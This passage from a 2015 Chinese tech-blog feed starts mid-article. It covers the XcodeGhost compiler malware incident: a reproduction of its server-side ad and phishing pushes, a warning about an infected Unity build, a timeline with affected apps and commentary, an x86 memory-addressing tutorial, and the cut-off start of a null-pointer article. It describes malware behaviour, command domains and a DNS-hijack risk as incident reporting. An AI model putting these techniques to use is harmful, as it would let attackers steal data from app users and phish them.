demo地址:http://v.youku.com/v_show/id_XMTM0MTQyMjkyOA==.html ## 恶意行为四 推广AppStore中的应用 通过在服务端配置configUrl,达到推广AppStore中的某些应用的目的: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b4b77e4d7e_6941baebjw1ewaz5ace05j21hw098q5x.jpg) phishing1.html页面内容: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d3c0602dfa_6941baebjw1ewaz59xny2j21kw0cqn05.jpg) 客户端启动受感染的App后,自动启动AppStore,并显示目标App的下载页面: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d3c0602dfa_6941baebjw1ewaz59gfhhj20hs0vk0wj.jpg) demo地址:http://v.youku.com/v_show/id_XMTM0MTQyNTk0MA==.html # 0×03 UnityGhost? * * * 在大家以为一切都完结的时候,百度安全实验室称已经确认”Unity-4.X的感染样本”。并且逻辑行为和XcodeGhost一致,只是上线域名变成了init.icloud-diagnostics.com。这意味,凡是用过被感染的Unity的app都有窃取隐私和推送广告等恶意行为。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d3c0602dfa_6941baebjw1ewaz593wnsj21kw0efn1i.jpg) Unity是由Unity Technologies开发的一个让玩家创建诸如三维视频游戏、实时三维动画等类型互动内容的多平台的综合型游戏开发工具,是一个全面整合的专业游戏引擎。很多有名的手机游戏比如神庙逃亡,纪念碑谷,炉石传说都是用unity进行开发的。 更令人恐怖的是,在百度安全实验室确认后没多久,大家就开始在网上寻找被感染的Unity工具,结果在我搜到一个Unity3D下载帖子的时候发现”codeFun与2015-09-22 01:18编辑了帖子”!?要知道codeFun就是那个自称XcodeGhost作者的人啊。他竟然也一直没睡,大半夜里一直在看大家发微博观察动静?随后发现大家知道了Unity也中毒的事情,赶紧去把自己曾经投毒的帖子删了? ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/00bb6abc52_6941baebjw1ewaz58li9lj20en0fyt9i.jpg) 现在再去看那个帖子已经被作者删的没有任何内容了。。。 http://game.ceeger.com/forum/read.php?tid=21630&fid=8 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/00bb6abc52_6941baebjw1ewaz58bxjjj20ua0sa420.jpg) 但根据XcodeGhost作者没删之前的截图表明,从unity 4.6.4 – unity 5.1.1的开发工具都有可能被投毒了! # 0×04 总结 * * * 虽然病毒作者声称并没有进行任何广告或者欺诈行为,但不代表别人不会代替病毒作者进行这些恶意行为。并且作者依然还在逍遥法外!所以立刻!马上!删掉那些中毒的app吧! # 0×05 参考资料 * * * 1. 涅槃团队:Xcode幽灵病毒存在恶意下发木马行为 http://drops.wooyun.org/papers/8973 2. XcodeGhost 源码 https://github.com/XcodeGhostSource/XcodeGhost [你以为服务器关了这事就结束了? – XcodeGhost截胡攻击和服务端的复现,以及UnityGhost预警](http://blog.jobbole.com/91805/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 让微信等知名 APP 都中招的 XcodeGhost 事件全面详细回顾 Date: 2015-09-20 URL: https://blog.wo.ai/archives/1040 Categories: Uncategorized 9月18日,我们在「iOS大全」(iOShub)微信已做过首次汇总。19日晚,「程序员的那些事」主页君根据当前网上相关信息,按照时间线,再次做一次更全面汇总。 # 2015-09-14 ## 国家互联网应急中心 发布预警 不过这个公告,绝大多数开发者,也是昨天开始才知道的。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/79e870528a_7cc829d3gw1ew8744vr87j20j109jgpa.jpg) # 2015-09-16 腾讯安全响应中心称,「发现 App Store上的 TOP5000 应用有 76 款被感染,于是我们向苹果官方及大部分受影响的厂商同步了这一情况。」 # 2015-09-17 ## XcodeGhost 事件在网上升温发酵 ### 【9:45】唐巧 发了一条微博: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a478e74286_65dc76a3jw1ew57fe9vbij20gl0b8q67.jpg) 随后很多留言的小伙伴们纷纷表示中招,@谁敢乱说话表示:”还是不能相信迅雷,我是把官网上的下载URL复制到迅雷里下载的,还是中招了。我说一下:有问题的Xcode6.4.dmg的sha1是:`a836d8fa0fce198e061b7b38b826178b44c053a8`,官方正确的是:`672e3dcb7727fc6db071e5a8528b70aa03900bb0`,大家一定要校验。”另外还有一位小伙伴表示他是在百度网盘上下载的,也中招了。 ### 【16:00】国外安全公司 paloalto 发现了 XcodeGhost 问题,并发布[第一版分析报告](http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/)。 ### 【17:43】阿里的蒸米、迅迪发布了他们文章:《 [XCode 编译器里有鬼,XCodeGhost 样本分析](http://drops.wooyun.org/news/8864)》 ([@程序员的那些事](http://www.jobbole.com/members/weibo_2093492691) 主页君注:内容为节选,有删减) > 虽然 XCodeGhost 并没有非常严重的恶意行为,但是这种病毒传播方式在iOS上还是首次。也许这只是病毒作者试试水而已,可能随后还会有更大的动作,请开发者务必要小心。 > > 这个病毒让我想到了UNIX 之父 Ken Thompson 的图灵奖演讲 “`Reflections of Trusting Trust`”。他曾经假设可以实现了一个修改的 tcc,用它编译 su login 能产生后门,用修改的tcc编译“正版”的 tcc 代码也能够产生有着同样后门的 tcc。也就是不论 `bootstrap` (用 tcc 编译 tcc) 多少次,不论如何查看源码都无法发现后门,真是细思恐极啊。 > > 根据热心网友举报,投毒者网名为『coderfun』。他在各种iOS开发者论坛或者weibo后留言引诱iOS开发者下载有毒版本的Xcode。并且中毒的版本不止Xcode 6.4,还有6.1,6.2和6.3等等。 > > ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b65870ca5_7cc829d3gw1ew87j464u3j20d60963ze.jpg) > > ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cb573b5614_7cc829d3gw1ew87jdyizaj20dw0iz76x.jpg) # 2015-09-18 ## 第一批受感染的 APP 陆续被曝光 【14:14 】开始,@图拉鼎 在微博持续发布了由他测试验证受感染的 APP,至少包括如下: * 网易云音乐 * 滴滴出行 * 12306 * 中国联通手机营业厅 * 高德地图 * 豌豆荚的开眼 * 网易公开课 * 下厨房 * 51卡保险箱(金融应用) * 同花顺 * 中信银行动卡空间 这个列表出来后,令人震惊。 ### 【15:43】网易云音乐发公告 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/02bfe40e35_6694d955gw1ew6nf3p1b3j20ct0cun03.jpg) 摘几个网友对该公告的评论: **@吴明prfc :** > 这公告,用被小偷改造的工具,导致被偷。给你说小偷走了,没威胁了,大家放心 **@祝佳音:** > 翻译:虽然我们愚蠢又无能,也不知如何收拾残局,但不知道为什么,好像敌人暂时没动静了。这件事就当没发生,就当没发生! ### 【19:17】@Saic 童鞋发布《XcodeGhost 实际用途猜测分析》,给出了 XG 木马的逻辑: > 在用户安装了目标应用后,木马会向服务器发送用户数据。 > > 服务器根据需要返回模拟弹窗。 > > 弹窗可以是提示支付失败,请到目标地址付款,也可以是某个软件的企业安装包。 > > 用户被诱导安装未经审核的安装包后,程序可以调用系统的私有 API,实现进一步的攻击目的。 > > 木马中还有一些调用应用内购的攻击逻辑,就不展开说明了。 > > 如果之前有遇到任何程序弹出非系统需要输入 Apple ID 或密码的网站,并输入过密码的,还请尽早修改。 > > 全文:http://weibo.com/p/1001603888503866975286 ### 【21:02】微博上曝光了第二份受感染的 APP 列表: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d86555404_0-wx-fmt-png.) _(右侧是版本信息)_ ### 【21:43】中招的@腾讯微信团队 在微博发声明,里面提到: > 1.该问题仅存在iOS 6.2.5版本中,最新版本微信已经解决此问题,用户可升级微信自行修复,此问题不会给用户造成直接影响。 全文:http://weibo.com/p/1001603888540667758451 # 2015-09-19 ### 【凌晨 4:39】自称 XcodeGhost 作者的网友在微博发声明,称只是实验项目,无任何威胁 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5acee6fed0_006e43qcgw1ew79vpmzepj30bp0gq77u.jpg) **以下引用部分微博上针对该声明的评论:** > @唐巧_boy:我刚刚看了一下作者放出的源码,和逆向出来的代码行为一致,应该是真的。 > > @南非蜘蛛:你有点小调皮,想进监狱了是吧? > > @Daniel_K4:作者是实验么?持续传播了半年,我不太相信。。。现在才出来发布说明,应该是被定位到吓坏了吧。 > > @Livid:一个程序员出于试验目的做的修改版 Xcode.dmg 能够通过自然分发的方式装到那么多重要 App 的开发环境里,也是一件挺不可思议的事情。 > > @Easy:翻一下就是「我就配了把你家钥匙。还没开始偷东西呢,当然是无害了」。 > > @tombkeeper 事闹大了,就会变成公安部督办案件,就几乎一定能破案,几乎一定能抓到人。这时候无论自首还是跑路都比发“澄清”有意义得多。 > > @onevcat:算个账,微信用户总数 5 亿日活70%。每天每人就算5个POST请求,每个请求300Byte,日流入流量就接近500G,以及17.5亿次请求。据说服务器扔在亚马逊,那么资费算一下每个月应该是存储$450,请求$260K。这还只是单单一个微信,再算上网易云音乐等等,每月四五十万刀仅仅是苦逼iOS开发者的个人实验? # 2015-09-19 上午 ### 为避免给更多用户造成可能是伤害,苹果公司开始下架受感染的 APP,并给相应开发商发邮件 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3f0e7a98ef_791fb8b5jw1ew7kbjhzdgj218g0orgpq.jpg) 图来自@小小小小_灿,可能看不清。在邮件中,苹果也说明了重新上架的条件: 1. 从官方下载 Xcode; 2. 重新编译打包; 3. 提交等待审核; * * * # 【开发圈和安全圈的事后讨论】 _(不分时间顺序)_ @Saic: > **苹果以审核严格著称,为何会允许应用上架???** > > 恶意代码加载到程序中后,将收集到的用户信息加密,发送到远程服务器。 > > 收集的信息包括系统版本,程序名称,用户的唯一识别 ID,语言等非敏感信息。 > > 对苹果来说,这段代码与普通的第三方统计代码并没有区别,甚至你在使用一些程序内的微博登陆或微信分享功能时,微博和微信都可能会收集这些信息到自己的服务器。 > > 因为没有涉及到苹果禁止开发者使用的接口,一切看起来都很正常,所以带有恶意代码的应用可以正常发布到 App Store。 > > **对我有什么影响???** > > 根据目前的研究进展以及自称是开发者公布的恶意代码源码,代码主要做了以下事情: > > 在用户安装了目标应用后,木马会向服务器发送用户数据。 > > 服务器会返回一些可以让程序弹出提示的控制代码,例如: > > * 用户名密码错误,请到以下地址修改,用户确认后跳转到一个伪造的钓鱼网站 > * 弹出 App Store 官方的应用下载页面,诱导用户下载 > * 程序有升级,用户确认后可以利用非官方渠道、修改过的应用替换掉当前应用 > * 其他非官方应用程序的推广和下载 > > > 因为弹窗是从用户信任的应用里弹出,很多时候不会多做怀疑就会授权或确认下载。 > > 另外根据相关研究,代码可能存在多种变种 [ 3 ],可能存在直接窃取用户 Apple ID 的版本,模拟系统登陆框在技术上是可行的。 > > Via: http://weibo.com/p/1001603888803550000430 @图拉鼎: > 对于 iOS 开发者的建议,立即删除从不明来源下载的 Xcode,即使你是用官方地址然后在迅雷上下载的,最后从 App Store 安装最新版本的 Xcode。有条件的公司应该在今天开始专门设置一台有专人管理的 Build Server,所有发布至 App Store 的 App 只能从该台电脑 Build 并发布,以防止未来此类事件的再现。 @sunny_THU: > 2\. 这件事情是不是很严重 > > 可以说很严重,也可以说不严重。说这件事情很严重,是因为我们把程序的控制权分享分享给了第三个人,他可以做任何程序内部的操作,包括监控输入,支付,跳转,用户的内容等行为(但也仅限于单个中毒的app内部,系统层的内容和别的app的内容是拿不到的,这里就不得不感谢苹果的沙盒机制,在机制上保护了一定的安全性),并且这次攻击证明根本上苹果软件的开发和提交机制是有漏洞的,更严重的问题是会不会已经有了一些别的病毒在软件中,只是没有被发现。 不严重是因为这次的病毒如果按照木马作者披露的源码,并没有做严重损害用户隐私的事情(一些安全机构逆向了源码,基本和作者公开的代码符合 http://security.tencent.com/index.php/blog/msg/96 )。 > > 3\. 怎么避免这种事情 > > “程序最大的bug不是程序自身,而是人”。这次事件是各种因素一起影响的结果,开发者根本没有意识到Xcode都会被攻击,国内网络环境太差,公司不配备VPN等等。而开发者作为软件的开发者和安全的负责人以及直接责任人更需要去规范和争取,因为你比其他人知道的更多,也更清楚问题有多严重。 @TK 教主: > 2015 年 3 月 10 日的这篇文章透露:美国圣地亚国家实验室在 2012 年 CIA 的秘密会议“Jamboree”上提出被称作“Strawhorse”的攻击方式:通过修改 Xcode 使开发商不知情地发布带有后门的 APP。“codefun” 开始散布修改后的 Xcode 是在 3 月中旬,不知道是不是受了这个启发。 @月光博客: > 迅雷的回应如下:对于Xcode被植入恶意代码一事,有猜测称迅雷服务器受到感染,导致使用迅雷会下载到含有恶意代码的Xcode。迅雷第一时间安排工程师进行检测,并对比了离线服务器上的文件,结果都与苹果官方下载地址的文件信息一致。也就是说,官方链接的Xcode经迅雷下载不会被植入恶意代码。 > > XcodeGhost事件并不表明苹果iOS的安全性相比安卓有什么问题,实际上,就开发环境来说,安卓实际上也是一样的,苹果的开发软件下载速度慢,而安卓的开发软件不翻墙根本无法从官网下载,大量安卓开发者都不是从官网下载的开发环境,很多开发工具来路不明,因此安卓很可能也存在类似问题。 @唐巧: > XcodeGhost 这件事情,苹果自己也有责任,Mac App Store下载速度慢得要死,每次下Xcode花个几十分钟非常正常,这才造成大家都用迅雷和百度网盘这种非官方渠道。就说现在吧,我的Mac系统更新了一上午,还是处于卡顿无进度状态。[泪] @腾讯玄武实验室: > 虽然目前 init.icloud-analysis.com 等 XcodeGhost 相关域名已经不可访问,XcodeGhost 的始作俑者可能也不会再利用其干坏事,但这并不代表其他人不会。 > > 有心干坏事的人,可以通过 DNS 投毒、伪造 WiFi 接入点等手段,控制或大或小的一个地区对 init.icloud-analysis.com 等域名的解析,从而变成 XcodeGhost 的控制者。所以受影响的 APP 开发商还是应该尽快发布干净的版本让用户升级。 * * * 【主页君留言】:今天这篇耗时 2+ 小时。如果各位觉得不错,请分享给其他朋友。 微信号:**iProgrammer** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3f0e7a98ef_63918611gw1epb2c92bgyj204604674e.jpg) (长按上图,可自动识别二维码) 其他媒体和公号若转载 必须保留全文完整内容,包括本段声明和二维码图片 ### 相关文章 * [甲骨文:不行,你不能看我们的源代码!](http://blog.jobbole.com/89391/) * [微软Word曝零日攻击漏洞](http://blog.jobbole.com/63922/) * [个人信息交易背后真相:一万个账号可卖50元](http://blog.jobbole.com/16788/) * [专门针对越狱iOS设备的盗号木马出现](http://blog.jobbole.com/66218/) * [百度全站 https FAQ:技术宅告诉你如何搜索更安全](http://blog.jobbole.com/86657/) * [通过 Facebook Notes 可以 DDOS 攻击任何网站](http://blog.jobbole.com/69324/) * [苹果账号真需要两个密码](http://blog.jobbole.com/31217/) * [空指针漏洞防护技术(初级篇)](http://blog.jobbole.com/90941/) * [HTTPS连接的前几毫秒发生了什么](http://blog.jobbole.com/48369/) * [2012年十大安全事件回顾](http://blog.jobbole.com/31283/) [让微信等知名 APP 都中招的 XcodeGhost 事件全面详细回顾](http://blog.jobbole.com/91646/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 内存寻址原理 Date: 2015-09-15 URL: https://blog.wo.ai/archives/1039 Categories: Uncategorized 在做网络安全事件分析的时候,都会遇到内存寻址的知识,例如上次跟大家分享的《[ 空指针漏洞防护技术](http://blog.jobbole.com/90941/)》,就涉及到非法访问内存地址的问题。如果这个坎儿迈不过去,你就会迷失在代码中,更无从分析了。今天绿盟科技的安全技术专家就讲讲这个内存寻址的原理,文章分为上下两篇《内存寻址原理》及《内存寻址方式》。 随着信息化发展和数据处理能力需求的提高,对计算机硬件产品的性能和容量也提出了新的挑战,要求计算机处理能力也要能随实际情况需求的变动而提升、改变。 当下,一台普通的电脑硬盘容量也要200多G,内存也有4G;如此大容量的硬盘和内存,在处理大量数据或是大型游戏面前还是显得力不从心,需要通过扩容来满足需求,比如将内存由4G提升到8G或是16G不等。扩容后对个人体验确实提升不少。对于内存容量的提升需要有相应的硬件基础支撑,需要有能消化掉这么多内存的寻址地址。比如说如果一8位单片机如果要装载16G的内存,那就是暴殄天物。 **哪里有需求哪里就有市场** ;计算机从8位的51单片机,20位8086寻址,发展到32位 win2003,64位win10,都是由于信息化需求的膨胀推动着计算机一代又一代的改革创新。 对于内存的扩容,很多人都不是很清楚应用程序如何使用的物理内存地址。远了不说,单说现在常用计算机中的32位、64系统;系统是怎么样将虚拟地址转化成线性地址,线性地址又是怎样转换成物理地址的,其中又用到了哪些寄存器或是数据结构,相信很多人对此也是一知半解;也像我一样,想结合实例从地址转换的本质来掌握其精髓之处。接下来就一起学习从逻辑地址到物理地址的整个转换过程。 ## 1.实模式与保护模式简介 CPU常见三种工作模式:实模式与保护模式,虚拟8086模式。 **实模式** :CPU复位(reset)或加电(power on)的时候以实模式启动,处理器以实模式工作。在实模式下,内存寻址方式和8086相同,由16位段寄存器的内容乘以16(10H)当做段基地址,加上16位偏移地址形成20位的物理地址,最大寻址空间1MB。在实模式下,所有的段都是可以读、写和可执行的。实模式下没有分段或是分页机制,逻辑地址和物理地址相等。 由此得知: 1. 在实模式下最大寻址空间时1M,1M以上的内存空间在实模式下不会被使用。 2. 在实模式所有的内存数据都可以被访问。不存在用户态、内核态之分。 3. 在BIOS加载、MBR、ntdlr启动阶段都处在实模式下。 **保护模式** :对于保护模式大家并不陌生;是目前操作系统的运行模式,利用内存管理机制来实现线性地址到物理地址的转换,具有完善的任务保护机制。 保护模式常识: 1. 现在应用程序运行的模式均处于保护模式。 2. 横向保护,又叫任务间保护,多任务操作系统中,一个任务不能破坏另一个任务的代码,这是通过内存分页以及不同任务的内存页映射到不同物理内存上来实现的。 3. 纵向保护,又叫任务内保护,系统代码与应用程序代码虽处于同一地址空间,但系统代码具有高优先级,应用程序代码处于低优先级,规定只能高优先级代码访问低优先级代码,这样杜绝用户代码破坏系统代码。 **虚拟8086 模式:** 简称V86模式是运行在保护模式中的实模式,为了在32位保护模式下执行纯16位程序。可以把8086程序当做保护模式的一项任务来执行。虚拟8086允许在不退出保护模式的情况下执行8086程序。 虚拟8086常识: 1. 寻址的地址空间是1M字节. 2. 可以在虚拟8086模式下运行16位DOS程序。 3. 在V86模式下,代码段总是可写的;这与实模式相同,同理,数据段也是可执行的。 4. 32系统编写V86模式的程序: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad3b03ebee_6941baebjw1ew33kxq1pcj20d105v750.jpg) ## 2\. 保护模式寻址基础知识 接下来就以32位系统为例,介绍保护模式下,内存中一些地址转换相关的寄存机和数据结构。 ## 2.1 内存地址概念 **逻辑地址** :在进行C语言编程中,能读取变量地址值(&操作),实际上这个值就是逻辑地址,也可以是通过malloc或是new调用返回的地址。该地址是相对于当前进程数据段的地址,不和绝对物理地址相干。只有在Intel实模式下,逻辑地址才和物理地址相等(因为实模式没有分段或分页机制,CPU不进行自动地址转换)。应用程序员仅需和逻辑地址打交道,而分段和分页机制对一般程序员来说是完全透明的,仅由系统编程人员涉及。应用程序员虽然自己能直接操作内存,那也只能在操作系统给你分配的内存段操作。一个逻辑地址,是由一个段标识符加上一个指定段内相对地址的偏移量,表示为 [段标识符:段内偏移量]。 **线性地址** :是逻辑地址到物理地址变换之间的中间层。程序代码会产生逻辑地址,或说是段中的偏移地址,加上相应段的基地址就生成了一个线性地址。如果启用了分页机制,那么线性地址能再经变换以产生一个物理地址。若没有启用分页机制,那么线性地址直接就是物理地址。Intel 80386的线性地址空间容量为4G(2的32次方即32根地址总线寻址)。 **物理地址(Physical Address)** 是指出目前CPU外部地址总线上的寻址物理内存的地址信号,是地址变换的最终结果地址。如果启用了分页机制,那么线性地址会使用页目录和页表中的项变换成物理地址。如果没有启用分页机制,那么线性地址就直接成为物理地址了,比如在实模式下。 ## 2.2 虚拟地址,线性地址,物理地址关系 对于保护模式下地址之间的转换,对程序员来说是透明的。那么物理内存通过内存管理机制是如何将虚拟地址转换为物理地址的呢?当程序中的指令访问某一个逻辑地址时,CPU首先会根据段寄存器的内容将虚拟地址转化为线性地址。如果CPU发现包含该线性地址的内存页不在物理内存中就会产生缺页异常,该异常的处理程序通过是操作系统的内存管理器例程。内存管理器得到异常报告后会根据异常的状态信息。特别是CR2寄存器中包含的线性地址,将需要的内存页加载到物理内存中。然后异常处理程序返回使处理器重新执行导致页错误异常的指令,这时所需要的内存页已经在物理内存中,所以便不会再导致页错误异常。 ## 2.3 段式机制及实例分析 前面说到在线性地址转换为物理地址之前,要先由逻辑地址转换为线性地址。系统采用段式管理机制来实现逻辑地址到线性地址的转换。保护模式下,通过”段选择符+段内偏移”寻址最终的线性地址。 CPU的段机制提供一种手段可以将系统的内存空间划分为一个个较小的受保护的区域,每个区域为一个段。相对32位系统,也就是把4G的逻辑地址空间换分成不同的段。每个段都有自己的起始地址(基地址),边界和访问权限等属性。实现段机制的一个重要数据结构就是段描述符。 下面是个程序实例中显示除了各个段的值: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc18251219_6941baebjw1ew33kxgm6rj20ci028jrs.jpg) 图中给出了代码段CS,堆栈段SS,数据段DS等段寄存器的值;从得到的值可知,SS=DS=ES是相等的,至于为什么有些段的值相等,后面会说到。 **以实例中给出的地址0x83e84110 为例,哪里是段描述符,哪里是段内偏移, 又是如何将该逻辑地址转换为线性地址的呢?相信很多人都迫不及待的想知道整个转换过程,接下来就要看看逻辑地址到线性地址详细转换过程。** 上面说到段式管理模式下有段选择符+段内偏移寻址定位线性地址,其实际转换过程如下图所示 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc18251219_6941baebjw1ew33kx2rauj20em0870t3.jpg) 从图中可知,逻辑地址到线性地址的转换,先是通过段选择符从描述符表中找到段描述符,把段描述符和偏移地址相加得到线性地址。也就是说要想得到段描述符需要三个条件: 1. 得到段选择符。 2. 得到段描述符表 3. 从段描述符表中找到段描述符的索引定位段描述符。 **前面我们提到了段描述符 + 偏移地址,并没有提段选择符和段描述符表。所以我们要弄清楚这几个观念段选择符,段描述符表,段描述符,以及如何才能得到这几个描述符?** ### 2.3.1 段描述符基础知识 从上图可知,通过段选择符要通过段描述符表找到段描述符,那么段描述符表是什么,又是怎么得到段描述符表呢? 在保护模式下,每个内存段就是一个段描述符。其结构如下图所示: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc18251219_6941baebjw1ew33kwlcuoj20dc03474s.jpg) 图中看出,一个段描述符是一个8字节长的数据结构,用来描述一个段的位置、大小、访问控制和状态等信息。段描述符最基本内容是段基址和边界。段基址以4字节表示(图中可看出3,4,5,8字节)。4字节刚好表示4G线性地址的任意地址(0×00000000-0xffffffff)。段边界20位表示(1,2字节及7字节的低四位)。 ### 2.3.2 段描述符表实例解析 在现在多任务系统中,通常会同时存在多个任务,每个任务会有多个段,每个段需要一个段描述符,段描述符在上面一小节已经介绍,因此系统中会有很多段描述符。为了便于管理,需要将描述符保存于段描述符表中,也就是上图画出的段描述符表。IA-32处理器有3中描述符表:GDT,LDT和IDT。 GDT是全局描述符表。一个系统通常只有一个GDT表。GDT表也即是上图中的段描述符表,供系统中所以程序和任务使用。至于LDT和IDT今天不是重点。 那么如何找到GDT表的存放位置呢?系统中提供了GDTR寄存器用了表示GDT表的位置和边界,也就是系统是通过GDTR寄存器找到GDT表的;在32位模式下,其长度是48位,高32位是基地址,低16位是边界;在IA-32e模式下,长度是80位,高64位基地址,低16位边界。 位于GDT表中的第一个表项(0号)的描述符保留不用,成为空描述符。如何查看系统的GDT表位置呢?通过查看GDTR寄存器,如下图所示 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc18251219_6941baebjw1ew33kwf5lgj20b304r0tl.jpg) 从上图看出GDT表位置地址是0×8095000,gdtl值看出GDT边界1023,总长度1024字节。前面知道每一项段描述符占8字节。所以总共128个表项。图中第一表项是空描述符。 ### 2.3.3 段选择符结构 前面我们介绍了段描述符表和段描述符的格式结构。那么如何通过段选择符找到段描述符呢,段选择符又是什么呢? 段选择符又叫段选择子,是用来在段描述符表中定位需要的段描述符。段选择子格式如下: ![7](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/aa0cf9db0d_6.png) 段选择子占有16位两个字节,其中高13位是段描述在段描述表中的索引。低3位是一些其他的属性,这里不多介绍。使用13位地址,意味着最多可以索引8k=8192个描述符。但是我们知道了上节GDT最多128个表项。 在保护模式下所有的段寄存器(CS,DS,ES,FS,GS)中存放的都是段选择子。 ### 2.3.4 逻辑地址到线性地址转换实例解析 已经了解了逻辑地址到虚拟地址到线性地址的转换流程,那就看看在前面图中逻辑地址0x83e84110对应的线性地址是多少? 首先,地址0x83e84110对应的是代码段的一个逻辑地址,地址偏移已经知道,也就是段内偏移知道,通过寄存器EIP得到是0x83e34110。段选择符是CS寄存器CS=0008,其高13位对应的GDT表的索引是1,也就是第二项段描述符(第一项是空描述符)。GDT表的第二项为标红的8个字节 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/94fe4e8980_6941baebjw1ew33kvwtcvj20ab03igma.jpg) 通过段描述的3,4,5,8个字节得到段基址。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/94fe4e8980_6941baebjw1ew33kvgdr7j20cu02lgm5.jpg) 如上图所示第二项段描述符的3,4,5,8字节对应的值为0×00000000。由此我们得到了段机制和段内偏移。最后的线性地址为段基址+段内偏移=0×0+0x83e34110=0x83e34110。 **由此我们知道在32系统中逻辑地址就是线性地址。** 其实通过观察其他的段选择子会发现,所有段选择子对应的基地址都是0×0,这是因为在32系统保护模式下,使用了平坦内存模型,所用的基地址和边界值都一样。既然基地址都是0,那么也就是线性地址就等于段内偏移=逻辑地址。 总之: 1. 段描述符8字节 2. GDTR是48位 3. 段选择子2个字节。 ## 2.4 页式机制及实例分析 前面介绍了由逻辑地址到线性地址的转换过程,那么接下来就要说说地址是如何将线性地址转为物理地址。需要先了解一些相关的数据结构。 前面说到如果CPU发现包含该线性地址的内存页不在物理内存中就会产生缺页异常,该异常的处理程序通过是操作系统的内存管理器例程。内存管理器得到异常报告后会根据异常的状态信息。特别是CR2寄存器中包含的线性地址,将需要的内存页加载到物理内存中。然后异常处理处理返回使处理器重新执行导致页错误异常的指令,这时所需要的内存页已经在物理内存中,所以便不会再导致也错误异常。 32位系统中通过页式管理机制实现线性地址到物理地址的转换,如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7e129f6ef5_6941baebjw1ew33kvelayj20f909ot9a.jpg) ### 2.4.1 PDE结构及如何查找内存页目录 从上图中我们知道通过寄存器CR3可以找到页目录表。那么CR3又是什么呢?在32系统中CR3存放的页目录的起始地址。CR3寄存器又称为页目录基址寄存器。32位系统中不同应用程序中4G线性地址对物理地址的映射不同,每个应用程序中CR3寄存器也不同。也就是说每个应用程序中页目录基址也是不同的。 从上图知道页目录表用来存放页目录表项(PDE),页目录占一个4kb内存页,每个PDE长度为4字节,所以页目录最多包含1KB。没启用PAE时,有两种PDE,这里我们只讨论使用常见的指向4KB页表的PDE。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7e129f6ef5_6941baebjw1ew33kuyjvlj20jz022q36.jpg) 页目录表项的高20位表示该PDE所指向的起始物理地址的高20位,该起始地址的低12位为0,也就是通过PDE高20位找到页表。由于页表低12位0,所以页表一定是4KB边界对齐。 **也就是通过页目录表中的页目录表项来定位使用哪个页表(每一个应用程序有很多页表)。** 以启动的calc程序为例,CR3寄存器是DirBase中的值,如下图 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7e129f6ef5_6941baebjw1ew33kuvzvfj20a902z74y.jpg) Calc.exe程序对应的CR3寄存器值为0x2960a000,下面是对应PDT结构 ### 2.4.2页表结构解析 页表是用来存放页表表项(PTE)。每一个页表占4KB的内存页,每个PTE占4个字节。所以每个页表最多1024个PTE。其中高20位代表要使用的最终页面的起始物理地址的高20位。所以4KB的内存页也都是4KB边界对齐。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2fe44a16b3_6941baebjw1ew33kukdsoj20lt01pjrf.jpg) ### 相关文章 * [空指针漏洞防护技术(提高篇)](http://blog.jobbole.com/90942/) * [空指针漏洞防护技术(初级篇)](http://blog.jobbole.com/90941/) * [x64 结构体系下的内存寻址](http://blog.jobbole.com/90090/) * [Linux 内核里的“智能指针”](http://blog.jobbole.com/88279/) * [C++面向对象编程(一):基于对象(无成员指针)](http://blog.jobbole.com/89328/) * [C++的未来和指针](http://blog.jobbole.com/56312/) * [如果当初学习编程时能有人给我这些忠告该多好](http://blog.jobbole.com/52761/) * [C语言指针和数组基础](http://blog.jobbole.com/44863/) * [C++中为什么要用指针,而不直接使用对象?](http://blog.jobbole.com/90147/) * [C 语言中的指针和内存泄漏](http://blog.jobbole.com/80617/) [内存寻址原理](http://blog.jobbole.com/90947/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 空指针漏洞防护技术(初级篇) Date: 2015-09-15 URL: https://blog.wo.ai/archives/1037 Categories: Uncategorized 安全历史上由于空指针所带来的漏洞及攻击数不胜数,但由于其对利用者的编程能力有要求,对分析及防护者来说有更高的要求,所以国内对空指针漏洞及相关技术的讨论不是很多。今天这篇《空指针漏洞防护技术》,由绿盟科技威胁响应安全专家坐堂讲解,大家可以从中了解空指针漏洞的基础知识,并结合Windows 8的内存防护机制实例,动手实践空指针漏洞的防护技术。 ## 1 背景 指针对于绝大部分的编程人员来说都不陌生,说起C/C++中指针的使用既带来了编程方面的方便;同时对编程人员来说,也是对个人编程能力的一种考验,不正确的使用指针会直接导致程序崩溃,而如果是内核代码中对指针的错误使用,会导致系统崩溃,后果也是相当严重。 一般情况下我们使用指针时,错误用法集中在三个方面: 1. 由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露 2. 